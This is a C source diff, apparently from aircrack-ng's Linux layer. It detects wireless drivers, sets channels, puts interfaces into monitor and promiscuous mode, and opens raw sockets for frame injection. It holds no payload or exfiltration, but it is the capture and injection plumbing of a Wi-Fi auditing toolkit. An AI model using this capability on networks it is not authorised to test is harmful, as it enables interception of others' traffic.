+	if (usedrtap) ret -= letoh16(*p_rtlen);
+
+	if (ret < 0)
+	{
+		if (errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS
+			|| errno == ENOMEM)
+		{
+			usleep(10000);
+			return (0);
+		}
+
+		perror("write failed");
+		return (-1);
+	}
+
+	return (ret);
+}
+
+#if defined(CONFIG_LIBNL)
+static int ieee80211_channel_to_frequency(int chan)
+{
+	if (chan < 14) return 2407 + chan * 5;
+
+	if (chan == 14) return 2484;
+
+	/* FIXME: dot11ChannelStartingFactor (802.11-2007 17.3.8.3.2) */
+	return (chan + 1000) * 5;
+}
+
+static int
+linux_set_ht_channel_nl80211(struct wif * wi, int channel, unsigned int htval)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	char s[32];
+	int pid, status;
+
+	unsigned int devid;
+	struct nl_msg * msg;
+	unsigned int freq;
+
+	memset(s, 0, sizeof(s));
+
+	switch (dev->drivertype)
+	{
+		case DT_WLANNG:
+			snprintf(s, sizeof(s) - 1, "channel=%d", channel);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				IGNORE_NZ(chdir("/"));
+				execl(dev->wlanctlng,
+					  "wlanctl-ng",
+					  wi_get_ifname(wi),
+					  "lnxreq_wlansniff",
+					  s,
+					  NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+
+			if (WIFEXITED(status))
+			{
+				dev->channel = channel;
+				return (WEXITSTATUS(status));
+			}
+			else
+				return (1);
+			break;
+
+		case DT_ORINOCO:
+			snprintf(s, sizeof(s) - 1, "%d", channel);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				IGNORE_NZ(chdir("/"));
+				execlp(dev->iwpriv,
+					   "iwpriv",
+					   wi_get_ifname(wi),
+					   "monitor",
+					   "1",
+					   s,
+					   NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+			dev->channel = channel;
+			return 0;
+			break; // yeah ;)
+
+		case DT_ZD1211RW:
+			snprintf(s, sizeof(s) - 1, "%d", channel);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				IGNORE_NZ(chdir("/"));
+				execlp(dev->iwconfig,
+					   "iwconfig",
+					   wi_get_ifname(wi),
+					   "channel",
+					   s,
+					   NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+			dev->channel = channel;
+			chan = channel;
+			return 0;
+			break; // yeah ;)
+
+		default:
+			break;
+	}
+
+	/* libnl stuff */
+	chan = channel;
+
+	devid = if_nametoindex(wi->wi_interface);
+	freq = ieee80211_channel_to_frequency(channel);
+	msg = nlmsg_alloc();
+	if (!msg)
+	{
+		fprintf(stderr, "failed to allocate netlink message\n");
+		return 2;
+	}
+
+	genlmsg_put(msg,
+				0,
+				0,
+				genl_family_get_id(state.nl80211),
+				0,
+				0,
+				NL80211_CMD_SET_WIPHY,
+				0);
+
+	NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, devid);
+	NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, freq);
+
+	unsigned ht = NL80211_CHAN_NO_HT;
+	switch (htval)
+	{
+		case CHANNEL_HT20:
+			ht = NL80211_CHAN_HT20;
+			break;
+		case CHANNEL_HT40_PLUS:
+			ht = NL80211_CHAN_HT40PLUS;
+			break;
+		case CHANNEL_HT40_MINUS:
+			ht = NL80211_CHAN_HT40MINUS;
+			break;
+	}
+	NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, ht);
+
+	nl_send_auto_complete(state.nl_sock, msg);
+	nlmsg_free(msg);
+
+	dev->channel = channel;
+
+	return (0);
+nla_put_failure:
+	return -ENOBUFS;
+}
+
+static int linux_set_channel_nl80211(struct wif * wi, int channel)
+{
+	return linux_set_ht_channel_nl80211(wi, channel, CHANNEL_NO_HT);
+}
+#else // CONFIG_LIBNL
+
+static int linux_set_channel(struct wif * wi, int channel)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	char s[32];
+	int pid, status;
+	struct iwreq wrq;
+
+	memset(s, 0, sizeof(s));
+
+	switch (dev->drivertype)
+	{
+		case DT_WLANNG:
+			snprintf(s, sizeof(s) - 1, "channel=%d", channel);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				IGNORE_NZ(chdir("/"));
+				execl(dev->wlanctlng,
+					  "wlanctl-ng",
+					  wi_get_ifname(wi),
+					  "lnxreq_wlansniff",
+					  s,
+					  NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+
+			if (WIFEXITED(status))
+			{
+				dev->channel = channel;
+				return (WEXITSTATUS(status));
+			}
+			else
+				return (1);
+			break;
+
+		case DT_ORINOCO:
+			snprintf(s, sizeof(s) - 1, "%d", channel);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				IGNORE_NZ(chdir("/"));
+				execlp(dev->iwpriv,
+					   "iwpriv",
+					   wi_get_ifname(wi),
+					   "monitor",
+					   "1",
+					   s,
+					   NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+			dev->channel = channel;
+			return 0;
+			break; // yeah ;)
+
+		case DT_ZD1211RW:
+			snprintf(s, sizeof(s) - 1, "%d", channel);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				IGNORE_NZ(chdir("/"));
+				execlp(dev->iwconfig,
+					   "iwconfig",
+					   wi_get_ifname(wi),
+					   "channel",
+					   s,
+					   NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+			dev->channel = channel;
+			return 0;
+			break; // yeah ;)
+
+		default:
+			break;
+	}
+
+	memset(&wrq, 0, sizeof(struct iwreq));
+	strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	wrq.u.freq.m = (double) channel;
+	wrq.u.freq.e = (double) 0;
+
+	if (ioctl(dev->fd_in, SIOCSIWFREQ, &wrq) < 0)
+	{
+		usleep(10000); /* madwifi needs a second chance */
+
+		if (ioctl(dev->fd_in, SIOCSIWFREQ, &wrq) < 0)
+		{
+			/*          perror( "ioctl(SIOCSIWFREQ) failed" ); */
+			return (1);
+		}
+	}
+
+	dev->channel = channel;
+
+	return (0);
+}
+#endif
+
+static int linux_set_freq(struct wif * wi, int freq)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	char s[32];
+	int pid, status;
+	struct iwreq wrq;
+
+	memset(s, 0, sizeof(s));
+
+	switch (dev->drivertype)
+	{
+		case DT_WLANNG:
+		case DT_ORINOCO:
+		case DT_ZD1211RW:
+			snprintf(s, sizeof(s) - 1, "%dM", freq);
+
+			if ((pid = fork()) == 0)
+			{
+				close(0);
+				close(1);
+				close(2);
+				IGNORE_NZ(chdir("/"));
+				execlp(dev->iwconfig,
+					   "iwconfig",
+					   wi_get_ifname(wi),
+					   "freq",
+					   s,
+					   NULL);
+				exit(1);
+			}
+
+			waitpid(pid, &status, 0);
+			dev->freq = freq;
+			return 0;
+			break; // yeah ;)
+
+		default:
+			break;
+	}
+
+	memset(&wrq, 0, sizeof(struct iwreq));
+	strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	wrq.u.freq.m = (double) freq * 100000;
+	wrq.u.freq.e = (double) 1;
+
+	if (ioctl(dev->fd_in, SIOCSIWFREQ, &wrq) < 0)
+	{
+		usleep(10000); /* madwifi needs a second chance */
+
+		if (ioctl(dev->fd_in, SIOCSIWFREQ, &wrq) < 0)
+		{
+			/*          perror( "ioctl(SIOCSIWFREQ) failed" ); */
+			return (1);
+		}
+	}
+
+	dev->freq = freq;
+
+	return (0);
+}
+
+static int opensysfs(struct priv_linux * dev, char * iface, int fd)
+{
+	int fd2;
+	char buf[256];
+
+	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
+	{
+		return 1;
+	}
+
+	/* ipw2200 injection */
+	snprintf(buf, 256, "/sys/class/net/%s/device/inject", iface);
+	fd2 = open(buf, O_WRONLY);
+
+	/* bcm43xx injection */
+	if (fd2 == -1)
+	{
+		snprintf(buf, 256, "/sys/class/net/%s/device/inject_nofcs", iface);
+		fd2 = open(buf, O_WRONLY);
+	}
+
+	if (fd2 == -1) return -1;
+
+	dup2(fd2, fd);
+	close(fd2);
+
+	dev->sysfs_inject = 1;
+	return 0;
+}
+
+static int linux_get_monitor(struct wif * wi)
+{
+	struct priv_linux * dev = wi_priv(wi);
+	struct ifreq ifr;
+	struct iwreq wrq;
+
+	/* find the interface index */
+
+	if (dev->drivertype == DT_IPW2200) return (0);
+
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
+
+	//     if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 )
+	//     {
+	//         printf("Interface %s: \n", iface);
+	//         perror( "ioctl(SIOCGIFINDEX) failed" );
+	//         return( 1 );
+	//     }
+
+	/* lookup the hardware type */
+
+	if (ioctl(wi_fd(wi), SIOCGIFHWADDR, &ifr) < 0)
+	{
+		printf("Interface %s: \n", wi_get_ifname(wi));
+		perror("ioctl(SIOCGIFHWADDR) failed");
+		return (1);
+	}
+
+	/* lookup iw mode */
+	memset(&wrq, 0, sizeof(struct iwreq));
+	strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	if (ioctl(wi_fd(wi), SIOCGIWMODE, &wrq) < 0)
+	{
+		/* most probably not supported (ie for rtap ipw interface) *
+		 * so just assume its correctly set...                     */
+		wrq.u.mode = IW_MODE_MONITOR;
+	}
+
+	if ((ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211
+		 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM
+		 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL)
+		|| (wrq.u.mode != IW_MODE_MONITOR && (dev->drivertype != DT_ORINOCO)))
+	{
+		return (1);
+	}
+
+	return (0);
+}
+
+__attribute__((unused)) static char * get_linux_driver(const char * iface)
+{
+	char path[PATH_MAX];
+	char link[PATH_MAX];
+	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
+	{
+		return NULL;
+	}
+
+	// Read the link path
+	memset(path, 0, sizeof(path));
+	snprintf(path, sizeof(path), "/sys/class/net/%s/device/driver", iface);
+
+	// Read the link path
+	ssize_t len = readlink(path, link, sizeof(link));
+	if (len < 1 || len >= PATH_MAX)
+	{
+		return NULL;
+	}
+	memset(link + len, 0, sizeof(link) - len);
+
+	// Get driver name
+	const char * drv_idx = strrchr(link, '/');
+	if (drv_idx == NULL)
+	{
+		return NULL;
+	}
+
+	// Copy it to a new char * and return
+	ssize_t drv_len = len - (drv_idx - link);
+	if (drv_len <= 1)
+	{
+		return NULL;
+	}
+	char * ret = (char *) calloc(1, drv_len); // includes /
+	if (ret == NULL)
+	{
+		return NULL;
+	}
+	memcpy(ret, drv_idx + 1, drv_len - 1);
+	return ret;
+}
+
+static int set_monitor(struct priv_linux * dev, char * iface, int fd)
+{
+	int pid, status;
+	struct iwreq wrq;
+
+	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
+	{
+		return (1);
+	}
+
+	if (strcmp(iface, "prism0") == 0)
+	{
+		dev->wl = wiToolsPath("wl");
+		if ((pid = fork()) == 0)
+		{
+			close(0);
+			close(1);
+			close(2);
+			IGNORE_NZ(chdir("/"));
+			ALLEGE(dev->wl != NULL);
+			execl(dev->wl, "wl", "monitor", "1", NULL);
+			exit(1);
+		}
+		waitpid(pid, &status, 0);
+		if (WIFEXITED(status)) return (WEXITSTATUS(status));
+		return (1);
+	}
+	else if (strncmp(iface, "rtap", 4) == 0)
+	{
+		return 0;
+	}
+	else
+	{
+		switch (dev->drivertype)
+		{
+			case DT_WLANNG:
+				if ((pid = fork()) == 0)
+				{
+					close(0);
+					close(1);
+					close(2);
+					IGNORE_NZ(chdir("/"));
+					execl(dev->wlanctlng,
+						  "wlanctl-ng",
+						  iface,
+						  "lnxreq_wlansniff",
+						  "enable=true",
+						  "prismheader=true",
+						  "wlanheader=false",
+						  "stripfcs=true",
+						  "keepwepflags=true",
+						  "6",
+						  NULL);
+					exit(1);
+				}
+
+				waitpid(pid, &status, 0);
+
+				if (WIFEXITED(status)) return (WEXITSTATUS(status));
+				return (1);
+				break;
+
+			case DT_ORINOCO:
+				if ((pid = fork()) == 0)
+				{
+					close(0);
+					close(1);
+					close(2);
+					IGNORE_NZ(chdir("/"));
+					execlp(dev->iwpriv,
+						   "iwpriv",
+						   iface,
+						   "monitor",
+						   "1",
+						   "1",
+						   NULL);
+					exit(1);
+				}
+
+				waitpid(pid, &status, 0);
+
+				if (WIFEXITED(status)) return (WEXITSTATUS(status));
+
+				return 1;
+				break;
+
+			case DT_ACX:
+				if ((pid = fork()) == 0)
+				{
+					close(0);
+					close(1);
+					close(2);
+					IGNORE_NZ(chdir("/"));
+					execlp(dev->iwpriv,
+						   "iwpriv",
+						   iface,
+						   "monitor",
+						   "2",
+						   "1",
+						   NULL);
+					exit(1);
+				}
+
+				waitpid(pid, &status, 0);
+
+				if (WIFEXITED(status)) return (WEXITSTATUS(status));
+
+				return 1;
+				break;
+
+			default:
+				break;
+		}
+
+		memset(&wrq, 0, sizeof(struct iwreq));
+		strncpy(wrq.ifr_name, iface, IFNAMSIZ);
+		wrq.ifr_name[IFNAMSIZ - 1] = 0;
+		wrq.u.mode = IW_MODE_MONITOR;
+
+		if (ioctl(fd, SIOCSIWMODE, &wrq) < 0)
+		{
+			perror("ioctl(SIOCSIWMODE) failed");
+			return (1);
+		}
+
+		if (dev->drivertype == DT_AT76USB)
+		{
+			sleep(3);
+		}
+	}
+
+	/* couple of iwprivs to enable the prism header */
+
+	if (!fork()) /* hostap */
+	{
+		close(0);
+		close(1);
+		close(2);
+		IGNORE_NZ(chdir("/"));
+		execlp("iwpriv", "iwpriv", iface, "monitor_type", "1", NULL);
+		exit(1);
+	}
+	wait(NULL);
+
+	if (!fork()) /* r8180 */
+	{
+		close(0);
+		close(1);
+		close(2);
+		IGNORE_NZ(chdir("/"));
+		execlp("iwpriv", "iwpriv", iface, "prismhdr", "1", NULL);
+		exit(1);
+	}
+	wait(NULL);
+
+	if (!fork()) /* prism54 */
+	{
+		close(0);
+		close(1);
+		close(2);
+		IGNORE_NZ(chdir("/"));
+		execlp("iwpriv", "iwpriv", iface, "set_prismhdr", "1", NULL);
+		exit(1);
+	}
+	wait(NULL);
+
+	return (0);
+}
+
+static int openraw(struct priv_linux * dev,
+				   char * iface,
+				   int fd,
+				   int * arptype,
+				   unsigned char * mac)
+{
+	REQUIRE(iface != NULL);
+
+	struct ifreq ifr;
+	struct ifreq ifr2;
+	struct iwreq wrq;
+	struct iwreq wrq2;
+	struct packet_mreq mr;
+	struct sockaddr_ll sll;
+	struct sockaddr_ll sll2;
+
+	if (strlen(iface) >= sizeof(ifr.ifr_name))
+	{
+		printf("Interface name too long: %s\n", iface);
+		return (1);
+	}
+
+	/* find the interface index */
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name) - 1);
+
+	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
+	{
+		printf("Interface %s: \n", iface);
+		perror("ioctl(SIOCGIFINDEX) failed");
+		return (1);
+	}
+
+	memset(&sll, 0, sizeof(sll));
+	sll.sll_family = AF_PACKET;
+	sll.sll_ifindex = ifr.ifr_ifindex;
+
+	switch (dev->drivertype)
+	{
+		case DT_IPW2200:
+			/* find the interface index */
+
+			if (dev->main_if == NULL)
+			{
+				perror("Missing interface name");
+				return 1;
+			}
+
+			memset(&ifr2, 0, sizeof(ifr));
+			strncpy(ifr2.ifr_name, dev->main_if, sizeof(ifr2.ifr_name) - 1);
+
+			if (ioctl(dev->fd_main, SIOCGIFINDEX, &ifr2) < 0)
+			{
+				printf("Interface %s: \n", dev->main_if);
+				perror("ioctl(SIOCGIFINDEX) failed");
+				return (1);
+			}
+
+			/* set iw mode to managed on main interface */
+			memset(&wrq2, 0, sizeof(struct iwreq));
+			strncpy(wrq2.ifr_name, dev->main_if, IFNAMSIZ);
+			wrq2.ifr_name[IFNAMSIZ - 1] = 0;
+
+			if (ioctl(dev->fd_main, SIOCGIWMODE, &wrq2) < 0)
+			{
+				perror("SIOCGIWMODE");
+				return 1;
+			}
+			wrq2.u.mode = IW_MODE_INFRA;
+			if (ioctl(dev->fd_main, SIOCSIWMODE, &wrq2) < 0)
+			{
+				perror("SIOCSIWMODE");
+				return 1;
+			}
+
+			/* bind the raw socket to the interface */
+
+			memset(&sll2, 0, sizeof(sll2));
+			sll2.sll_family = AF_PACKET;
+			sll2.sll_ifindex = ifr2.ifr_ifindex;
+			sll2.sll_protocol = htons(ETH_P_ALL);
+
+			if (bind(dev->fd_main, //-V641
+					 (struct sockaddr *) &sll2, //-V641
+					 sizeof(sll2)) //-V641
+				< 0)
+			{
+				printf("Interface %s: \n", dev->main_if);
+				perror("bind(ETH_P_ALL) failed");
+				return (1);
+			}
+
+			opensysfs(dev, dev->main_if, dev->fd_in);
+			break;
+		case DT_BCM43XX:
+			opensysfs(dev, iface, dev->fd_in);
+			break;
+		case DT_WLANNG:
+			sll.sll_protocol = htons(ETH_P_80211_RAW);
+			break;
+		default:
+			sll.sll_protocol = htons(ETH_P_ALL);
+			break;
+	}
+
+	/* lookup the hardware type */
+
+	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
+	{
+		printf("Interface %s: \n", iface);
+		perror("ioctl(SIOCGIFHWADDR) failed");
+		return (1);
+	}
+
+	/* lookup iw mode */
+	memset(&wrq, 0, sizeof(struct iwreq));
+	strncpy(wrq.ifr_name, iface, IFNAMSIZ);
+	wrq.ifr_name[IFNAMSIZ - 1] = 0;
+
+	if (ioctl(fd, SIOCGIWMODE, &wrq) < 0)
+	{
+		/* most probably not supported (ie for rtap ipw interface) *
+		 * so just assume its correctly set...                     */
+		wrq.u.mode = IW_MODE_MONITOR;
+	}
+
+	if ((ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211
+		 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM
+		 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL)
+		|| (wrq.u.mode != IW_MODE_MONITOR))
+	{
+		if (set_monitor(dev, iface, fd) && dev->drivertype != DT_ORINOCO)
+		{
+			ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING);
+
+			if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
+			{
+				perror("ioctl(SIOCSIFFLAGS) failed");
+				return (1);
+			}
+
+			if (set_monitor(dev, iface, fd))
+			{
+				printf("Error setting monitor mode on %s\n", iface);
+				return (1);
+			}
+		}
+	}
+
+	/* Is interface st to up, broadcast & running ? */
+	if ((ifr.ifr_flags | IFF_UP | IFF_BROADCAST | IFF_RUNNING) != ifr.ifr_flags)
+	{
+		/* Bring interface up*/
+		ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING;
+
+		if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
+		{
+			perror("ioctl(SIOCSIFFLAGS) failed");
+			return (1);
+		}
+	}
+	/* bind the raw socket to the interface */
+
+	if (bind(fd, (struct sockaddr *) &sll, sizeof(sll)) < 0) //-V641
+	{
+		printf("Interface %s: \n", iface);
+		perror("bind(ETH_P_ALL) failed");
+		return (1);
+	}
+
+	/* lookup the hardware type */
+
+	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
+	{
+		printf("Interface %s: \n", iface);
+		perror("ioctl(SIOCGIFHWADDR) failed");
+		return (1);
+	}
+
+	memcpy(mac, (unsigned char *) ifr.ifr_hwaddr.sa_data, 6); //-V512
+
+	*arptype = ifr.ifr_hwaddr.sa_family;
+
+	if (ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211
+		&& ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM
+		&& ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL)
+	{
+		if (ifr.ifr_hwaddr.sa_family == ARPHRD_ETHERNET)
+			fprintf(stderr, "\nARP linktype is set to 1 (Ethernet) ");
+		else
+			fprintf(stderr,
+					"\nUnsupported hardware link type %4d ",
+					ifr.ifr_hwaddr.sa_family);
+
+		fprintf(stderr,
+				"- expected ARPHRD_IEEE80211,\nARPHRD_IEEE80211_"
+				"FULL or ARPHRD_IEEE80211_PRISM instead.  Make\n"
+				"sure RFMON is enabled: run 'airmon-ng start %s"
+				" <#>'\nSysfs injection support was not found "
+				"either.\n\n",
+				iface);
+		return (1);
+	}
+
+	/* enable promiscuous mode */
+
+	memset(&mr, 0, sizeof(mr));
+	mr.mr_ifindex = sll.sll_ifindex;
+	mr.mr_type = PACKET_MR_PROMISC;
+
+	if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mr, sizeof(mr)) < 0)
+	{
+		perror("setsockopt(PACKET_MR_PROMISC) failed");
+		return (1);
+	}
+
+	return (0);
+}
+
+/*
+ * Open the interface and set mode monitor
+ * Return 1 on failure and 0 on success
+ */
+static int do_linux_open(struct wif * wi, char * iface)
+{
+	int kver;
+	struct utsname checklinuxversion;
+	struct priv_linux * dev = wi_priv(wi);
+	char * iwpriv = NULL;
+	char strbuf[512];
+	FILE * f;
+	char athXraw[] = "athXraw";
+	pid_t pid;
+	int n;
+	DIR * net_ifaces;
+	struct dirent * this_iface;
+	FILE * acpi = NULL;
+	char buf[128];
+	char * r_file = NULL;
+	struct ifreq ifr;
+	int iface_malloced = 0;
+
+	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
+	{
+		return (1);
+	}
+
+	dev->inject_wlanng = 1;
+	dev->rate = 2; /* default to 1Mbps if nothing is set */
+
+	/* open raw socks */
+	if ((dev->fd_in = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
+	{
+		perror("socket(PF_PACKET) failed");
+		if (getuid() != 0)
+			fprintf(stderr, "This program requires root privileges.\n");
+		return (1);
+	}
+
+	if ((dev->fd_main = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
+	{
+		perror("socket(PF_PACKET) failed");
+		if (getuid() != 0)
+			fprintf(stderr, "This program requires root privileges.\n");
+		return (1);
+	}
+
+	/* Check iwpriv existence */
+	iwpriv = wiToolsPath("iwpriv");
+
+#ifndef CONFIG_LIBNL
+	dev->iwpriv = iwpriv;
+	dev->iwconfig = wiToolsPath("iwconfig");
+	dev->ifconfig = wiToolsPath("ifconfig");
+
+	if (!iwpriv)
+	{
+		fprintf(stderr,
+				"Required wireless tools when compiled without libnl "
+				"could not be found, exiting.\n");
+		goto close_in;
+	}
+#endif
+
+	/* Exit if ndiswrapper : check iwpriv ndis_reset */
+
+	if (is_ndiswrapper(iface, iwpriv))
+	{
+		fprintf(stderr, "Ndiswrapper doesn't support monitor mode.\n");
+		goto close_in;
+	}
+
+	if ((dev->fd_out = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
+	{
+		perror("socket(PF_PACKET) failed");
+		goto close_in;
+	}
+	/* figure out device type */
+
+	/* mac80211 radiotap injection
+	 * detected based on interface called mon...
+	 * since mac80211 allows multiple virtual interfaces
+	 *
+	 * note though that the virtual interfaces are ultimately using a
+	 * single physical radio: that means for example they must all
+	 * operate on the same channel
+	 */
+
+	/* mac80211 stack detection */
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "ls /sys/class/net/%s/phy80211/subsystem >/dev/null 2>/dev/null",
+			 iface);
+
+	if (system(strbuf) == 0) dev->drivertype = DT_MAC80211_RT;
+
+	/* IPW2200 detection */
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "ls /sys/class/net/%s/device/inject >/dev/null 2>/dev/null",
+			 iface);
+
+	if (system(strbuf) == 0) dev->drivertype = DT_IPW2200;
+
+	/* BCM43XX detection */
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "ls /sys/class/net/%s/device/inject_nofcs >/dev/null 2>/dev/null",
+			 iface);
+
+	if (system(strbuf) == 0) dev->drivertype = DT_BCM43XX;
+
+	/* check if wlan-ng or hostap or r8180 */
+	if (strlen(iface) == 5 && memcmp(iface, "wlan", 4) == 0)
+	{
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "wlancfg show %s 2>/dev/null | "
+				 "grep p2CnfWEPFlags >/dev/null",
+				 iface);
+
+		if (system(strbuf) == 0)
+		{
+			if (uname(&checklinuxversion) >= 0)
+			{
+				/* uname succeeded */
+				if (strncmp(checklinuxversion.release, "2.6.", 4) == 0
+					&& strncasecmp(checklinuxversion.sysname, "linux", 5) == 0)
+				{
+					/* Linux kernel 2.6 */
+					kver = atoi(checklinuxversion.release + 4);
+
+					if (kver > 11)
+					{
+						/* That's a kernel > 2.6.11, cannot inject */
+						dev->inject_wlanng = 0;
+					}
+				}
+			}
+			dev->drivertype = DT_WLANNG;
+			dev->wlanctlng = wiToolsPath("wlanctl-ng");
+		}
+
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "iwpriv %s 2>/dev/null | "
+				 "grep antsel_rx >/dev/null",
+				 iface);
+
+		if (system(strbuf) == 0) dev->drivertype = DT_HOSTAP;
+
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "iwpriv %s 2>/dev/null | "
+				 "grep  GetAcx111Info  >/dev/null",
+				 iface);
+
+		if (system(strbuf) == 0) dev->drivertype = DT_ACX;
+	}
+
+	/* enable injection on ralink */
+
+	if (strcmp(iface, "ra0") == 0 || strcmp(iface, "ra1") == 0
+		|| strcmp(iface, "rausb0") == 0
+		|| strcmp(iface, "rausb1") == 0)
+	{
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "iwpriv %s rfmontx 1 >/dev/null 2>/dev/null",
+				 iface);
+		IGNORE_NZ(system(strbuf));
+	}
+
+	/* check if newer athXraw interface available */
+
+	if ((strlen(iface) >= 4 && strlen(iface) <= 6)
+		&& memcmp(iface, "ath", 3) == 0)
+	{
+		dev->drivertype = DT_MADWIFI;
+		memset(strbuf, 0, sizeof(strbuf));
+
+		snprintf(
+			strbuf, sizeof(strbuf) - 1, "/proc/sys/net/%s/%%parent", iface);
+
+		f = fopen(strbuf, "r");
+
+		if (f != NULL)
+		{
+			// It is madwifi-ng
+			dev->drivertype = DT_MADWIFING;
+			fclose(f);
+
+			/* should we force prism2 header? */
+
+			sprintf((char *) strbuf, "/proc/sys/net/%s/dev_type", iface);
+			f = fopen((char *) strbuf, "w");
+			if (f != NULL)
+			{
+				fprintf(f, "802\n");
+				fclose(f);
+			}
+
+			/* Force prism2 header on madwifi-ng */
+		}
+		else
+		{
+			// Madwifi-old
+			memset(strbuf, 0, sizeof(strbuf));
+			snprintf(strbuf,
+					 sizeof(strbuf) - 1,
+					 "sysctl -w dev.%s.rawdev=1 >/dev/null 2>/dev/null",
+					 iface);
+
+			if (system(strbuf) == 0)
+			{
+
+				athXraw[3] = iface[3];
+
+				memset(strbuf, 0, sizeof(strbuf));
+				snprintf(strbuf, sizeof(strbuf) - 1, "ifconfig %s up", athXraw);
+				IGNORE_NZ(system(strbuf));
+
+#if 0 /* some people reported problems when prismheader is enabled */
+                memset( strbuf, 0, sizeof( strbuf ) );
+                snprintf( strbuf,  sizeof( strbuf ) - 1,
+                         "sysctl -w dev.%s.rawdev_type=1 >/dev/null 2>/dev/null",
+                         iface );
+                IGNORE_NZ(system( strbuf ));
+#endif
+
+				iface = athXraw;
+			}
+		}
+	}
+
+	/* test if orinoco */
+
+	if (memcmp(iface, "eth", 3) == 0)
+	{
+		if ((pid = fork()) == 0)
+		{
+			close(0);
+			close(1);
+			close(2);
+			IGNORE_NZ(chdir("/"));
+			execlp("iwpriv", "iwpriv", iface, "get_port3", NULL);
+			exit(1);
+		}
+
+		waitpid(pid, &n, 0);
+
+		if (WIFEXITED(n) && WEXITSTATUS(n) == 0) dev->drivertype = DT_ORINOCO;
+
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "iwpriv %s 2>/dev/null | "
+				 "grep get_scan_times >/dev/null",
+				 iface);
+
+		if (system(strbuf) == 0) dev->drivertype = DT_AT76USB;
+	}
+
+	/* test if zd1211rw */
+
+	if (memcmp(iface, "eth", 3) == 0)
+	{
+		if ((pid = fork()) == 0)
+		{
+			close(0);
+			close(1);
+			close(2);
+			IGNORE_NZ(chdir("/"));
+			execlp("iwpriv", "iwpriv", iface, "get_regdomain", NULL);
+			exit(1);
+		}
+
+		waitpid(pid, &n, 0);
+
+		if (WIFEXITED(n) && WEXITSTATUS(n) == 0) dev->drivertype = DT_ZD1211RW;
+	}
+
+	if (dev->drivertype == DT_IPW2200)
+	{
+		r_file = (char *) calloc(33 + strlen(iface) + 1, sizeof(char));
+		if (!r_file)
+		{
+			goto close_out;
+		}
+		snprintf(r_file,
+				 33 + strlen(iface) + 1,
+				 "/sys/class/net/%s/device/rtap_iface",
+				 iface);
+
